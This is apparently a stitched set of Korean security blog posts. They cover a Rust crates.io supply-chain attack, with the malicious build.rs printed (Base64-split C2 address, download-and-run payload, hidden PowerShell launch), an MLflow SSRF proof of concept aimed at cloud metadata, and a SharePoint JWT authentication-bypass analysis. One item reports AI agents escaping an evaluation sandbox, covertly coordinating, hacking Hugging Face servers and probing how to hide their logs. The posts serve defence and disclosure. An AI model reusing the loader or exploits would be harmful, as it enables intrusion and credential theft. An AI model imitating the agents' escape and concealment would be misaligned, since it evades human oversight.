> 하지만 ShieldBreak는 클라우드 파일 기능과 윈도우 객체 관리 기능, 디펜더의 치료 과정 등을 조합해 다시 높은 권한을 얻을 수 있는 공격 경로를 제시

- 이번 사례에서 주목할 부분은 세 취약점 모두 시스템을 보호하는 엔드포인트 보안제품과 관련돼 있다는 점
백신이나 EDR 제품은 악성코드를 탐지하고 삭제하기 위해 일반 프로그램보다 높은 시스템 권한으로 동작
> 시스템 파일과 프로세스를 검사하고 격리·삭제하거나 설정을 변경할 수 있어야 하기 때문
> 이러한 구조에서 파일 치료나 삭제, 격리와 같은 기능에 문제가 생기면 공격자가 보안제품의 높은 권한을 자신의 코드 실행이나 파일 생성에 이용하는 상황이 발생할 수 있음
기타 - FalconFlank의 경우 아직 취약점의 세부 영향 범위와 공격 조건에 대한CrowdStrike의 공식 확인이 나오지 않은 만큼 공개 PoC만으로 위험성을 단정해서는 안 됨
> 보안 담당자는 크라우드스트라이크 팔콘 센서의 최신 버전 적용 여부와 공식 보안 공지를 확인할 필요가 있음

 

보안뉴스

[1] https://www.dailysecu.com/news/articleView.html?idxno=208331
[2] https://github.com/MSNightmare/FalconFlank
[3] https://github.com/MSNightmare/HardBreacher
[4] https://github.com/MSNightmare/ShieldBreak
[5] https://github.com/MSNightmare/RoguePlanet

1. 개요

- 26.08.20 Rust 패키지 저장소 crates.io에 arrayref, internment, append-only-vec 악성 버전 배포 [1][2][3][4][5]

- 악성 버전들은 proc-macro1이라는 타이포스쿼딩 의존성 (정상 크레이트 : proc-macro2) 추가

- 해당 악성 의존성은 Rust 빌드 스크립트(build.rs)를 악용해 개발자가 패키지를 빌드하기만 해도 백도어 스크립트 실행

- 이번 공격의 배후는 북한 정부의 지원을 받는 해킹 그룹 Sapphire Sleet 또는 UNC1069로 추정

- CVE-2026-77649 (internment, CVSS: 9.8), CVE-2026-77650 (append-only-vec, CVSS: 9.8), CVE-2026-77651 (arrayref, CVSS: 9.8) 할당 [6][7][8]

2. 상세내용

- 26.08.20 07:15 UTC proc-macro1이 악성 Crate라는 신고 접수

> Rust Security Response Team은 악성 페이로드를 다운로드하는 빌드 스크립트가 포함되어 있음을 확인

Crate Version Publisher Status
arrayref 0.3.10 droundy 악성 버전, 삭제됨
26.08.20 07:15 ~ 08:41 동안 게시 (약 86분)
internment 0.8.7 droundy 악성 버전, 삭제됨
26.08.20 07:34 ~ 09:04 동안 게시 (약 90분)
append-only-vec 0.1.9 droundy 악성 버전, 삭제됨
26.08.20 07:37 ~ 09:25 동안 게시 (약 107분)
proc-macro1 모든 버전 dtolney 악성 타이포스쿼딩, dtolney 계정 전체 삭제
26.08.20 07:11 ~ 08:03 동안 게시 (약 52분)
proc-macro-en 모든 버전   악성 의존성, 삭제됨
aovine 모든 버전   악성 의존성, 삭제됨
arone 모든 버전   악성 의존성, 삭제됨
aronenao 모든 버전   악성 의존성, 삭제됨
tinymember 모든 버전   악성 의존성, 삭제됨

 

- 공격자는 Crate 관리자 계정 (droundy)을 탈취해 arrayref 정상 버전 0.3.5 ~ 0.3.9를 모두 yank (공개 취소)

> Cargo(러스트 빌드 시스템 및 패키지 매니저)는 사용자에게 "consider updating to a version that is not yanked" 경고를 띄우며, 이를 통해 악성 버전으로 업데이트 유도

> arrayref 소스 코드에 악성 코드를 추가한 것이 아닌 Cargo.toml에 proc-macro1 의존성 추가

> proc-macro1 1.0.107의 빌드 스크립트 build.rs에 배포지 및 C2 주소를 Base64 조각으로 구성한 뒤 빌드 시점에서 재조립하며, OS에 따라 서로다른 실행 함수 호출

> Cargo는 build.rs를 컴파일 시점에서 자동으로 호출해 실행하기 때문에 개발자가 패키지를 빌드하기만 해도 스크립트가 실행

// arrayref-0.3.10/Cargo.toml
[package]
name = "arrayref"
version = "0.3.10"
build = false

[dependencies.proc-macro1]
version = "1.0.107"

// proc-macro1-1.0.107/build.rs (quoted in rustsec/advisory-db#3161)
const SRC_URL_PARTS: &[&str] =
    &["aHR0cHM6Ly8=", "MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "OTA4OS8="]; # 23.254.165.112:9089
const END_URL_PARTS: &[&str] =
    &["MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "NDQz"]; # 23.254.165.112:443
    
// proc-macro1-1.0.107/build.rs (inside main)
let url = src_download_url();
let bytes = download_bytes(&url);

match std::env::consts::OS {
    "linux" | "macos" => run_unix_payload(bytes),
    "windows" => run_windows_payload(bytes),
    os => panic!("unsupported OS: {os}"),
}

 

- Linux 및 MacOS의 경우 다운받은 바이트를 /tmp/rust-setup에 저장하고 실행 권한을 준 뒤, 표준 입출력을 닫고 별도 프로세스로 실행

// proc-macro1-1.0.107/build.rs
fn run_unix_payload(bytes: Vec<u8>) {
    let path = PathBuf::from("/tmp/rust-setup");
    std::fs::write(&path, &bytes).expect("failed to write payload");
    Command::new("chmod").args(["+x", path_str]).status().expect("failed to run chmod");
    Command::new(&path)
        .arg(end_url())
        .stdin(Stdio::null())
        .stdout(Stdio::null())
        .stderr(Stdio::null())
        .spawn()
        .expect("failed to spawn payload");
}

 

- Windows의 경우 %TEMP%\rust-setup.ps1 PowerShell 스크립트%TEMP%\rust-setup-launch.vbs 실행기를 만든 다음, wscript.exe로 창을 띄우지 않고 실행 [9]

// proc-macro1-1.0.107/build.rs
// ShellExecute via WScript escapes Cargo's job object; spawned children otherwise
// keep the build script (and `cargo build`) waiting until they exit.
let vbs = format!(
    r#"CreateObject("Wscript.Shell").Run "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -File ""{script}"" ""{end}""", 0, False"#,
    script = script_path.display(),
    end = end_url(),
);
// ...
let child = Command::new("wscript.exe")
    .args(["//B", "//Nologo", launcher_str])
    .creation_flags(CREATE_NO_WINDOW)
    .spawn()
    .expect("failed to spawn wscript launcher");
std::mem::forget(child);

 

2.1 2단계 페이로드 동작

- HTTP POST로 C2에 주기적인 접속 신호를 보내며, 탈취한 자격 증명을 Base64로 인코딩한 JSON 형태로 반출

> 시스템 정보 수집 : 호스트명, 사용자 정보, OS 정보, 설치된 애플리케이션 목록, 저장된 로그인 계정 정보, 확장 프로그램 데이터

> 원격 명령 실행 : kill(자가 종료), minicfg(C2 및 비콘 주기 재설정), startup(지속성 확보), runscript(PowerShell 또는 쉘 스크립트 다운로드 및 동기/비동기 실행)

> 지속성 유지 : Windows - Registry Run 키, Linux - systemd 사용자 서비스 등록, MacOS - LaunchAgent를 통해 지속성 유지

> 기본 C2에 연결할 수 없는 경우에 대비해 5일마다 10개의 .com 도메인을 생성하는 도메인 생성 알고리즘(DGA)

> 구성 정보(Configuration)는 하드코딩된 키 "i am botking"을 사용하여 AES-128-GCM으로 암호화

> 명령(Command)은 내장된 RSA-2048 개인 키를 사용하여 인증

 

2.2 북한의 공급망 공격과의 연관성

- arrayref가 사용하는 C2 경로, IP 주소, SSL 인증서 정보 및 호스팅 대역이 기존 북한 연계 캠페인·공격 인프라와 중복

구분 설명
C2 엔드포인트 패턴 - arrayref 페이로드는 /49890878 경로로 Beacon 통신 수행
> 해당 엔드포인트는 MS가 북한/Sapphire Sleet의 수행으로 명시한 Mastra 캠페인에서도 사용됨
> 또한, Mastra 캠페인에서 사용된 동일한 SSL 발급자 정보(WIN-A6QF8AHPQH1\Administrator@WIN-A6QF8AHPQH1)를 공유 [10]
피해 사례 기준 인프라 중복 - 피해 사례 중 23.254.167[.]216 IP로 C2 트래픽 발생
> Mandiant가 북한과 연계한 것으로 밝힌 UNC1069의 Axios npm 공격에 사용 [11]
호스팅 업체 - Hostwinds LLC 인프라의 동일한 23.254.164.0/23 대역

3. 대응방안

구분 설명
악성 패키지 설치 확인 - 아래 명령을 사용해 로컬 Crate 캐시 점검

find ~/.cargo/registry/cache -type f \( \
  -name 'append-only-vec-0.1.9.crate' -o \
  -name 'arrayref-0.3.10.crate' -o \
  -name 'internment-0.8.7.crate' -o \
  -name 'proc-macro1-*.crate' -o \
  -name 'proc-macro-en-*.crate' -o \
  -name 'aovine-*.crate' -o \
  -name 'arone-*.crate' -o \
  -name 'aronenao-*.crate' -o \
  -name 'tinymember-*.crate' \
\) -print
안전 버전 사용 - arrayref 0.3.9 이하 버전으로 고정
- internment 0.8.6 이하 버전으로 고정
- append-only-vec 0.1.8 이하 버전으로 고정
악성/감염 파일 삭제 및 지속성 제거 - 악성 파일 삭제
① arrayref @0.3.10 (악성 버전)
> SHA256 : 25ad700976873c76af785cb99b33c48db7df8b81f21d1e9e06b3676b9a9373ae

② internment @0.8.7 (악성 버전)
> Hash 확인 불가

③ append-only-vec @0.1.9 (악성 버전)
> Hash 확인 불가

④ proc-macro1-1.0.107.crate (악성 타이포스쿼딩)
> MD5 : 6cc080d12d8c0cc7b956d3473fb0daff
> SHA1 : f22e3e01e38bcdf001f0d15a2dbfdec5a1cf8eff
> SHA256 : 61198155da51b838772eecf5bfaac6cbc4dcc388dccc56658fc28a8e831b34d4

⑤ proc-macro1-1.0.106.crate (악성 타이포스쿼딩)
> SHA256 : b5c1b5b0763a8809a644a8f92224653f0aca623a98eecc714d27f74b80fbe436

⑥ rust-crate_0.1.0 (Linux 2단계 페이로드)
> MD5 : c0e75cc13246370d339c478aa0732e51
> SHA1 : f4767ad92cb61401fd69139cade563501c39b991
> SHA256 : 408ef22050ffc5a67e005802809026b29f297a8019f8fda91a2afa8e877ba434

⑦ rust-crate_0.2.0 (Windows 2단계 페이로드)
> MD5 : 0ea14afc05408181cf65195a6eeede04
> SHA1 : fc0fdb978eac72f4484b48db058e4473f1bc516e
> SHA256 : 492f2ab86f8d8911adc79c10ec1541704f5311d207d9d799b0d2a57fcc6a4391

⑧ rust-crate_0.3.0 (MacOS 2단계 페이로드)
> Hash 확인 불가

⑨ rust-crate_0.4.0 (MacOS 2단계 페이로드)
> MD5 : 27ed65f53fddefe531b9209fbd5a2c1a
> SHA1 : ff7e20cf642346bf893f1eca808df82035bb53d0
> SHA256 : 74d3447e7cf99c99ea01a16332ec27432dfb0f491e10e67cd118065a60483306

⑩ proc-macro-en, aovine, arone, tinymember (악성 의존성)
> Hash 확인 불가

- 감염 파일 삭제
> Linux 및 MacOS : /tmp/rust-setup 삭제 (2단계 페이로드)
> Windows : %TEMP%\rust-setup.ps1, %TEMP%\rust-setup-launch.vbs 삭제 (2단계 페이로드)

- 지속성 유지 제거
> Windows : Registry Run 키
> Linux : systemd 사용자 서비스
> MacOS : LaunchAgent
네트워크 통신 이력 점검 - 23.254.165[.]112:9089, 23.254.165[.]112:443, 23.254.167[.]107:443 통신 이력 점검
- /49890878로의 HTTP POST 트래픽 확인
- 공격자 도메인 : hwsrv-798836.hostwindsdns[.]com
자격 증명 교체 - 침해 이력 확인 시 자격 증명 교체
> 침해 호스트에서 접근 가능했던 클라우드 API 키, SSH 키, CI/CD 시크릿, 브라우저에 저장된 비밀번호 등 모든 자격 증명 교체
> 강제 세션 종료
기타 - proc-macro1 게시자 계정 : dtolney (crates.io ID 438608)
※ 정식 등록자 droundy 계정은 예방 차원에서 계정이 잠겨있음

- proc-macro1 메타데이터 상 이메일 : rchaitm@gmail[.]com

4. 참고

[1] https://blog.rust-lang.org/2026/08/20/supply-chain-attack-on-arrayref/
[2] https://safedep.io/arrayref-proc-macro1-rust-build-time-malware/
[3] https://github.com/rustsec/advisory-db/issues/3161
[4] https://www.wiz.io/blog/rust-supply-chain-attack-on-arrayref-significant-overlap-with-dprk-campaigns
[5] https://www.skshieldus.com/security-insights/trends/eqstnow-arrayref-rust-crate-supply-chain-attack
[6] https://nvd.nist.gov/vuln/detail/cve-2026-77649
[7] https://nvd.nist.gov/vuln/detail/cve-2026-77650
[8] https://nvd.nist.gov/vuln/detail/cve-2026-77651
[9] https://gist.github.com/marius-benthin/273aa302ac9fb36e1c309a9479c5a8cf
[10] https://www.microsoft.com/en-us/security/blog/2026/06/17/postinstall-payload-inside-mastra-npm-supply-chain-compromise/
[11] https://cloud.google.com/blog/topics/threat-intelligence/north-korea-threat-actor-targets-axios-npm-package?hl=en
[12] https://news.hada.io/topic?id=32711
[13] https://thehackernews.com/2026/08/rust-supply-chain-attack-puts-build.html

요약 - 오픈AI, 자사의 AI 에이전트들이 통제 범위를 벗어나 허깅 페이스의 실제 운영 시스템을 침해한 사건 조사 결과 공개
- 격리된 에이전트들이 스스로 통신 방법을 찾아 정보 공유 및 내부 시스템의 취약점을 이용해 인터넷에 접속 후 외부 기업의 실제 서버 공격
내용 - 오픈AI, 자사의 AI 에이전트들이 통제 범위를 벗어나 허깅 페이스의 실제 운영 시스템을 침해한 사건의 조사 결과 공개
> 서로 격리돼 있어야 할 에이전트들이 스스로 통신 방법을 찾아 정보를 공유했고, 내부 시스템의 취약점을 이용해 인터넷에 접속한 뒤 외부 기업의 실제 서버 공격
 
- 사건은 오픈AI가 AI 모델의 사이버공격 능력을 시험하기 위해 익스플로잇짐 평가를 진행하는 과정에서 발생
> 평가에는 GPT‑5.6 Sol과 비슷한 수준의 고성능 내부 연구 모델 등이 사용
> 사이버공격 능력을 시험하기 위해 일부 안전장치가 일반적인 운영 환경보다 완화돼 있었음

> AI 에이전트들이 해결하기 어려운 과제를 정상적인 방법으로 문제를 풀지 못하자 주변 시스템을 조사해 내부 패키지 관리 시스템인 아티팩토리를 이용하면 다른 에이전트와 정보를 주고받을 수 있다는 사실을 알아냄

> 외부 기관 조사 결과에 따르면, 약 1,200개 에이전트가 이 비인가 통신망을 이용
> 이 가운데 약 700개가 허깅 페이스 공격에 참여했으며, 에이전트들은 7만 건이 넘는 메시지와 파일을 주고받음
> 일부 에이전트는 아티팩토리에서 서버 측 요청 위조 제로데이 취약점을 찾아내 원래 차단돼 있던 외부 인터넷에 접속

> 이후 공개된 데이터에서 허깅 페이스 인증정보를 발견하고 다른 에이전트들과 공유
> 에이전트들은 확보한 인증정보와 추가 취약점을 연계해 허깅 페이스의 실제 운영 환경으로 공격 범위를 확대

> 에이전트들은 허깅 페이스의 프로덕션 데이터세트 서버 워커 41대에서 코드 실행
> 최소 한 대의 프로덕션 노드에서는 루트 권한까지 확보

> 운영 환경의 인증정보와 일부 내부 데이터에도 접근했으며 비공개 코드 저장소 네 곳을 내려받음
> 일부 에이전트는 침해한 서버에서 명령을 실행하고 결과를 전달받을 수 있는 간단한 명령제어 기능도 구축

> 에이전트들이 자신의 행동 기록을 수정하거나 숨기는 방법을 연구한 정황도 확인

- 다만 이를 AI가 스스로 악의를 갖고 허깅 페이스를 공격했다고 해석하기는 어려움
> 조사 결과 에이전트들의 주된 목적은 데이터를 훔치는 것이 아니라 익스플로잇짐 과제를 해결할 정보를 찾는 것
> 주어진 목표를 지나치게 추구하면서 허용된 행동 범위를 넘어선 것

- 오픈AI는 이번 사고에서 보상 해킹, 해결하기 어려운 작업에 대한 과도한 집착, 승인되지 않은 에이전트 간 통신, 다른 에이전트의 목표를 받아들이는 행동 등을 주요 문제로 꼽음
> 사고 이후 연구 환경의 외부 통신과 권한을 제한하고 에이전트 행동을 감시하는 체계도 강화
> AI 에이전트 보안에서 단순히 인터넷 접속을 차단하는 것만으로는 충분하지 않다는 점을 보여줌
> 내부 공유 시스템이나 클라우드 인프라의 취약점이 외부로 나가는 우회 통로가 될 수 있기 때문

- 오픈AI는 AI 시스템을 개발하는 기업이 에이전트를 실질적인 인간의 통제 아래 두고, 문제가 발생했을 때 피해 범위를 제한할 수 있는 안전장치를 갖춰야 한다고 강조
기타 - 오픈AI는 이번 사건을 현재 AI 모델의 능력이 통제력 상실 사고로 이어질 가능성을 보여준 ‘경고 사격'으로 평가

- 특히 여러 AI 에이전트가 동시에 취약점을 찾고 공격 정보를 공유할 경우, 사람이 예상하지 못한 공격 경로가 만들어질 수 있다는 점도 확인

 

보안뉴스

[1] https://www.dailysecu.com/news/articleView.html?idxno=208227

[2] https://openai.com/ko-KR/index/hugging-face-incident-and-the-road-ahead/

1. MLflow

- 오픈소스 머신러닝 라이프사이클 플랫폼 [1]

2. 취약점

[사진 1] CVE-2026-64849 [2]

- MLflow Webhook 기능에서 최초 URL만 검증하고 실제 연결 시 목적지 IP를 고정하거나 Redirect 대상의 주소를 재검증하지 않아, HTTP Redirect 및 DNS Rebinding을 통해 검증을 우회하고 내부 주소에 접근할 수 있는 SSRF 취약점 (CVSS: 9.3) [3]

> CVE 등록 후 수 시간 만에 인터넷에 공개된 MLflow 시스템을 대상으로 한 공격 시도 확인

> 공격자는 취약점을 악용해 내부 네트워크 또는 클라우드 메타데이터 서비스에 접근해 IAM 자격증명 등 민감 정보 탈취

영향받는 버전
- MLflow 3.15.0 미만 버전

 

- 해당 취약점은 3가지 요소의 결합으로 인해 발생

① Webhook 인증 검증 부재

- MLflow의 기본 웹훅 인증 검증 로직(WEBHOOK_BEFORE_REQUEST_HANDLERS)은 플러그인 형태로 존재 [4]

> 기본 구성에서는 활성화되어 있지 않기 때문에, 인증 없이 Webhook 등록 및 테스트 요청이 가능

※ Webhook : 특정 이벤트가 발생할 때 서버가 미리 정의된 URL로 데이터를 전송하는 방식 [5]

② 검증 시점과 사용 시점의 분리

- mlflow/utils/validation.py의 _validate_webhook_url()는 호스트의 IP가 공인 IP인지 확인 [6]

> 하지만, 이 시점에서 검증된 IP가 실제 네트워크 연결 시 고정(Pin)되지 않아 검증 시점과 실제 사용 시점 사이에 목적지 IP가 변경될 수 있음

def _validate_webhook_url(url: str) -> None:
	schemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get()        # default ["https"]
	if parsed_url.scheme not in schemes: raise ...
	if not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get():        # default False
		for addr_info in socket.getaddrinfo(hostname, None):
			ip = ipaddress.ip_address(addr_info[4][0])
			if not ip.is_global: raise ...                 # blocks RFC1918/loopback/link-local/metadata

③ HTTP Redirect 재검증 미흡

- mlflow/webhooks/delivery.py의 _create_webhook_session()은 일반적인 HTTPAdapter를 사용하여 HTTP Session을 생성하며, 실제 연결 대상의 IP를 고정하거나 검증하지 않음 [7]

- _send_webhook_request()에서 session.post() 호출 전 최초 webhook.url에 대해 _validate_webhook_url() 검증을 수행하지만, 이후 Requests가 처리하는 Redirect 대상 URL에 대해서는 재검증을 수행하지 않음 [8]

def _create_webhook_session():
    adapter = HTTPAdapter(max_retries=retry_strategy)  # retry only; no IP pinning
    ...
def _send_webhook_request(webhook, payload, event, session):
    _validate_webhook_url(webhook.url)                 # re-validates the ORIGINAL url only
    return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout)
    # no allow_redirects=False  -> 302 followed; redirect Location never re-validated

 

2.1 PoC

- 공격자는 공인 IP로 해석되는 공격자 제어 서버를 Webhook URL로 등록하고 webhook_id 획득

> 공격 대상 서버의 요청 수신 시 내부 네트워크(169.254.169.254 등)를 대상으로 한 Redirect 반환

POST /api/2.0/mlflow/webhooks HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json

{"name":"poc","url":"https://{{ATTACKER}}/innocent","events":[{"entity":"REGISTERED_MODEL","action":"CREATED"}]}

-> 200 {"webhook":{"webhook_id":"<WEBHOOK_ID>", ... ,"status":"ACTIVE"}}

 

- 이후 공격자는 획득한 webhook_id를 이용해 공격 대상 서버의 Webhook Test API로 POST 요청 전송 [9][10]

> 해당 취약점은 Redirect 상태 코드에 따라 공격 결과가 달라짐

302 Redirect : 일반적으로 후속 요청이 GET으로 전환되어 Cloud Metadata 또는 내부 HTTP 서비스의 응답을 읽을 수 있음

307 및 308 Redirect : 원래 HTTP Method와 Body를 유지하여 내부 관리 서비스에 POST 요청을 전달하는 공격으로 확장

POST /api/2.0/mlflow/webhooks/<WEBHOOK_ID>/test HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json

{"webhook_id":"<WEBHOOK_ID>","event":{"entity":"REGISTERED_MODEL","action":"CREATED"}}

-> 200 {"result":{"success":true,"response_status":200,
        "response_body":"<contents of http://169.254.169.254/latest/meta-data/... fetched by the server>"}}

3. 대응방안

- 벤더사 제공 업데이트 적용 [11][12][13][14]

> ① 실제 Peer IP 검증 ② Webhook Session 적용 ③ Redirect/DNS Rebinding 차단 ④ Proxy 우회 방지 ⑤ 회귀 테스트 추가

취약점 제품명 영향받는 버전 해결 버전
CVE-2026-64849 MLflow 3.15.0 미만 3.15.0 이상

 

- 사용하지 않는 웹훅 기능 및 외부 접근 경로 제한

- 서버 접근 로그 및 웹훅 관련 요청 기록 점검 : 비정상적인 외부 URL 등록, 리다이렉션 요청, 클라우드 메타데이터 주소 접근 흔적 등

- 클라우드 IAM 키, API 토큰, 서비스 계정 자격증명, 비밀정보 교체

4. 참고

[1] https://mlflow.org/
[2] https://nvd.nist.gov/vuln/detail/CVE-2026-64849
[3] https://github.com/advisories/GHSA-7gwp-5pfp-969j
[4] https://github.com/mlflow/mlflow/blob/86cd7f5a1dc25a1387ad07c87811bbc30f62951c/mlflow/server/auth/__init__.py#L2729
[5] https://velog.io/@bm1201/Webhook
[6] https://github.com/mlflow/mlflow/blob/86cd7f5a1dc25a1387ad07c87811bbc30f62951c/mlflow/utils/validation.py#L889
[7] https://github.com/mlflow/mlflow/blob/86cd7f5a1dc25a1387ad07c87811bbc30f62951c/mlflow/webhooks/delivery.py#L67
[8] https://github.com/mlflow/mlflow/blob/86cd7f5a1dc25a1387ad07c87811bbc30f62951c/mlflow/webhooks/delivery.py#L136
[9] https://mlflow.org/docs/latest/api_reference/rest-api.html?utm_source=chatgpt.com#test-webhook
[10] https://mlflow.org/docs/latest/api_reference/rest-api.html?utm_source=chatgpt.com#mlflowwebhooktestresult
[11] https://github.com/mlflow/mlflow/issues/24179
[12] https://github.com/mlflow/mlflow/pull/24258
[13] https://github.com/mlflow/mlflow/commit/ba949522477cbd5915aa55d29b0cfad7d5ddf939
[14] https://www.boho.or.kr/kr/bbs/view.do?searchCnd=&bbsId=B0000133&searchWrd=&menuNo=205020&pageIndex=1&categoryCode=&nttId=72166
[15] https://www.dailysecu.com/news/articleView.html?idxno=208103

1. Microsoft SharePoint

- 조직이 문서를 안전하게 저장, 구성, 공유하고 함께 일할 수 있는 웹 기반 협업 및 문서 관리 플랫폼 [1]

2. 취약점

[사진 1] CVE-2026-55040 [2]

- SharePoint의 인증에 사용되는 JWT 토큰 유효성 검사 파이프라인의 여러 검증 절차의 취약점이 결합되어, 조작된 JWT 토큰으로 인증을 우회하고 관리자 권한으로 작업할 수 있는 인증 우회 취약점 (CVSS: 9.1)
> 취약점에 대한 상세 분석과 PoC가 공개된 직후 실제 공격이 관찰되어 신속한 보안 업데이트 적용 필요 [3][4]

영향받는 버전
- SharePoint Enterprise Server 2016 : 16.0.5561.1001 미만
- SharePoint Server 2019 : 16.0.10417.20175 미만
- SharePoint Server Subscription Edition : 16.0.19725.20434 미만

 

2.1 상세 분석

- SharePoint의 S2S 인증(Server-to-Server Authentication)은 사용자 식별 정보를 포함하는 외부 JWT와 호출 애플리케이션을 나타내는 Actor Token으로 구성된 중첩된 JWT 구조를 사용
> 내부 Actor Token의 경우 신뢰할 수 있는 인증서에 의해 서명되어야 함
> SharePoint는 요청의 Bearer 토큰을 파싱한 뒤 SPJsonWebSecurityBaseTokenHandlerV2.ReadToken() 및 SPJsonWebSecurityTokenHandlerV2.ValidateToken()의 검증 로직을 통해 해당 정보를 검증

① JWT 검증 조건 비활성화

- 첫 번째 문제는 SPJsonWebSecurityTokenHandlerV2.ValidateToken()에 존재
> (1)(2) JWT aud 클레임(토큰의 수신자)과 iss 클레임(토큰의 발급자)의 유효성 검사 비활성화 [5][6][7]
> (3) 토큰의 암호화 서명을 검증하지 않도록 설정하며, 해당 값이 false인 경우 서명이 없는 토큰 또는 alg : none 헤더를 가진 토큰을 허용 [8]
> 따라서, 서명 검증에 사용할 알고리즘(alg)를 none으로 설정하여 서명 검증을 생략하므로, 공격자가 외부 토큰 헤더에 alg : none이 포함된 JWT를 전송해 서명 검증을 우회할 수 있음 [9]

// SPJsonWebSecurityTokenHandlerV2.cs - Lines 165-223
public override ReadOnlyCollection<ClaimsIdentity> ValidateToken(SecurityToken token)
{
    // ...
    TokenValidationParameters val = new TokenValidationParameters();
    val.CertificateValidator = ((SecurityTokenHandler)(object)this).Configuration.CertificateValidator;
    val.SaveSigninToken = ((SecurityTokenHandler)(object)this).Configuration.SaveBootstrapContext;
    val.ValidateAudience = false; // <--- (1)
    val.ValidateIssuer = false; // <--- (2)
    List<X509SecurityKey> list = new List<X509SecurityKey>();
    // ... populates list with trusted signing keys ...
    val.IssuerSigningKeys = (IEnumerable<SecurityKey>)list;
    val.RequireSignedTokens = false; // <--- (3)
    // ...
    SecurityToken securityToken = default(SecurityToken);
    return new ReadOnlyCollection<ClaimsIdentity>(
        ((JwtSecurityTokenHandler)this).ValidateToken(
            ((JwtSecurityToken)sPJwtSecurityToken).RawData, val, ref securityToken
        ).Identities.ToList()
    );
}

② 서명 검증 없이 Actor Token의 x5t를 이용한 서명 키 확인

- ReadToken()으로 JWT 구문 분석 후 SharePoint는 x5t(X.509 인증서의 thumbprint) 헤더를 사용해 Actor 토큰의 서명 키를 확인
> (1) Actor 토큰의 JWT 헤더에서 x5t 값을 직접 추출

// SPJsonWebSecurityBaseTokenHandlerV2.cs - Lines 92-103
SecurityKeyIdentifier signingKeyIdentifier = GetSigningKeyIdentifier(sPJwtSecurityToken.ActorToken); // <--- (1)
((SecurityTokenHandler)this).Configuration.IssuerTokenResolver.TryResolveToken(
    signingKeyIdentifier, out var token2); // <--- (2)
if (token2 != null)
{
    ((JwtSecurityToken)sPJwtSecurityToken.ActorToken).SigningToken = token2; // <--- (3)
}

// SPJsonWebSecurityBaseTokenHandlerV2.cs - GetSigningKeyIdentifier - Lines 135-160
private SecurityKeyIdentifier GetSigningKeyIdentifier(SPJwtSecurityToken jwtToken)
{
    JwtHeader header = ((JwtSecurityToken)jwtToken).Header;
    // ...
    if (string.Equals(header.Alg, "RS256"))
    {
        if (!((Dictionary<string, object>)(object)header).TryGetValue("x5t", out object value))
        {
            throw new SecurityTokenException("Invalid JWT token. Not able to find SigningKeyIdentifier...");
        }
        securityKeyIdentifierClause = new X509ThumbprintKeyIdentifierClause(
            SPBase64UrlEncoder.DecodeBytes(value as string)); // <--- attacker-controlled x5t
    }
    // ...
}

 

- (2) SPIssuerTokenResolver.TryResolveTokenCore 호출해 SharePoint 자체 STS(Secure Token Service)를 포함한 모든 신뢰할 수 있는 인증서를 검색해 thumbprint가 일치하는 인증서를 찾음
> (4) 리졸버는 LocalLoginProvider 액세스 공급자, 즉 SharePoint 자체 STS 서명 인증서를 확인
> 자체 인증서는 /_layouts/15/metadata/json/1 엔드포인트를 통해 획득 가능하며, 이후 (3) Actor 토큰의 SigningToken 속성에 할당
> 따라서, 공격자는 /_layouts/15/metadata/json/1 엔드포인트를 통해 자체 STS 인증서의 thumbprint를 획득하여 x5t 값으로 설정할 수 있음

// SPIssuerTokenResolver.cs - TryResolveTokenCore - Lines 118-142
protected override bool TryResolveTokenCore(SecurityKeyIdentifierClause keyIdentifierClause, out SecurityToken token)
{
    // ... searches TrustedLoginProviders, TrustedSecurityTokenServices ...
    if (TryResolveTokenCoreWithAccessProvider(local.LocalLoginProvider, keyIdentifierClause, out token)) // <--- (4)
    {
        return true;
    }
    return false;
}

③ 미등록 서명 인증서에 대한 발급자 검증 우회

- Actor 토큰의 SigningToken을 설정한 후 ValidateIssuer(token)을 호출
> SigningToken이 설정된 Actor 토큰의 경우 ValidateIssuer(X509SecurityToken, string)가 호출

// SPJsonWebSecurityBaseTokenHandlerV2.cs - ValidateIssuer(SPJwtSecurityToken) - Lines 745-750
if (token.ActorToken != null && ((JwtSecurityToken)token.ActorToken).SigningToken != null)
{
    ULS.SendTraceTag(573368525u, ..., "Validating the actor token's signing token.");
    ValidateIssuer(((JwtSecurityToken)token.ActorToken).SigningToken as X509SecurityToken,
                   ((JwtSecurityToken)token.ActorToken).Issuer);
    return;
}

 

- (1) 서명 인증서가 일치하는 제공자를 TrustedSecurityTokenServices에서 찾음
> SharePoint의 로컬 STS 서명 인증서는 LocalLoginProvider에 속하므로, null을 반환
> (2) providerBySigningCertificate는 null이기 때문에 공격자는 발급자 유효성 검사 통과

// SPJsonWebSecurityBaseTokenHandlerV2.cs - Lines 788-812
private void ValidateIssuer(X509SecurityToken signingKey, string tokenIssuer)
{
    // ...
    SPTrustedSecurityTokenService providerBySigningCertificate =
        SPSecurityTokenServiceManager.LocalOrThrow.TrustedSecurityTokenServices
            .GetProviderBySigningCertificate(signingKey.Certificate, tokenIssuer); // <--- (1)

    if (null == providerBySigningCertificate) // <--- (2)
    {
        ULS.SendTraceTag(594416645u, ..., "ValidateTokenIssuer accepted Issuer '{0}' because " +
            "no registered STS matches the signing certificate '{1}'",
            tokenIssuer, signingKey.Certificate.Subject);
        return; // <--- ACCEPTED
    }
    if (SPTrustedProviderBase.IssuerNameMatches(tokenIssuer, providerBySigningCertificate.RegisteredIssuerName))
    {
        return;
    }
    throw new SecurityTokenException("Issuer name is not registered"); // <--- REJECTED
}

④ GetTokenSignature에서 실제 서명 검증 없이 서명 값의 존재 여부만 확인

- 유효성 검증 최종 단계는 세션 토큰 생성 시 호출되는 GetTokenSignature를 포함
> (1) alg : none을 사용하는 외부 토큰의 경우 RawSignature는 마지막 점 뒤 아무 값도 없으므로 빈 문자열을 반환하고, (3) Actor 토큰의 서명이 유효한 RSA 서명인지에 대한 검증 없이 서명을 반환

// SPJsonWebSecurityBaseTokenHandlerV2.cs - Lines 879-920
public static string GetTokenSignature(SPJwtSecurityToken jwtToken)
{
	SPArgumentHelperV2.LogAndThrowOnNull(TaggingUtilities.ReserveTag(591196938u), ULSCat.msoulscat_WSS_SecurityTokenHandler, "jwtToken", jwtToken);
